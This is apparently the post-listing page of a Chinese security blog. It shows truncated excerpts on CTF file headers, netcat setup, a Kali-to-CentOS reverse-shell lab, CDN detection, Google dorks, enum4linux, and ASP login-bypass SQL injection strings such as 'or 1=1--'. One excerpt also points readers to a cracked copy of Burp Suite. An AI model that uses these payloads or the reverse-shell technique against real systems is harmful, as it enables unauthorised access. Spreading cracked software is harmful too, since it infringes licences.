熟知各类型文件头，有啥好处呢，在分析文件的时候快速定位此文件是什么类型，是否被修改过，在CTF比赛中拿到一个文件进行分析，显得尤其重要！
PEG (jpg) ，文件头： FFD8FFPNG (png) ，文件头： 89504E47GIF (gif) ，文件头： 47494...
W•X
1个月前 (08-24) 117℃
3喜欢
http://ctftools.com/down/ ctf在线工具
https://www.ssleye.com/ 在线加减密工具
http://tool.chinaz.com/ 站长综合检测工具
https://www.bejson.com/enc/mo...
W•X
2个月前 (08-11) 208℃
4喜欢
下载: https://eternallybored.org/misc/netcat/
解压后,把nc.exe复制到C:\Windows\System32目录
运行cmd,查看命令:nc -h
转载请注明：LINUX! » windows使用nc命令
...
W•X
2个月前 (07-20) 312℃
3喜欢
环境
攻击机：kali ip：192.168.25.144
靶 机：centos ip：192.168.25.142
过程
kali 监听本地8888端口
靶机 centos 写入 反弹shell 的命令
bash -i >...
W•X
3个月前 (06-28) 246℃
2喜欢
临时邮箱：
临时邮箱, 是指能接收邮件的临时邮箱，也称为一次性邮箱，24小时邮箱，10分钟邮箱，可丢弃邮箱，是完全匿名和安全的。
经常上网需要注册一些网站需要邮箱验证，但是对于一些不知名的网站安全性没有保证。注册时用真实邮箱可能会发生以下安全问题：
1.个人密码泄露，被收集分发...
W•X
3个月前 (06-18) 474℃
2喜欢
方法1：
很简单，使用各种多地 ping 的服务，查看对应 IP 地址是否唯一，如果不唯一多半是使用了CDN， 多地 Ping 网站有：
http://ping.chinaz.com/
http://ping.aizhan.com/
http://ce.cloud.360.cn/...
W•X
4个月前 (06-10) 257℃
0喜欢
inurl:Login 将返回url中含有Login的网页
intitle: 将返回含有管理员后...
W•X
4个月前 (05-22) 1561℃
1喜欢
用了好久的Burpsuite，每次启动都要先启动破解，点啊点，太麻烦了，在网上找了下有简便的方法启动burp。Burpsuite v2.1 下载链接：https://share.weiyun.com/58mhQWa 密码：6666sp
请支持正版：https://portswi...
W•X
5个月前 (05-14) 642℃
3喜欢
asp aspx万能密码
1：”or “a”=”a
2：’.).or.(‘.a.’=’.a
3：or 1=1–
4：’or 1=1–
5：...
W•X
5个月前 (05-14) 210℃
0喜欢
enum4linux是Kali Linux自带的一款信息收集工具。它可以收集Windows系统的大量信息，如用户名列表、主机列表、共享列表、密码策略信息、工作组和成员信息、主机信息、打印机信息等等。该工具主要是针对Windows NT/2000/XP/2003，在Windows ...
W•X
5个月前 (05-12) 713℃
5喜欢
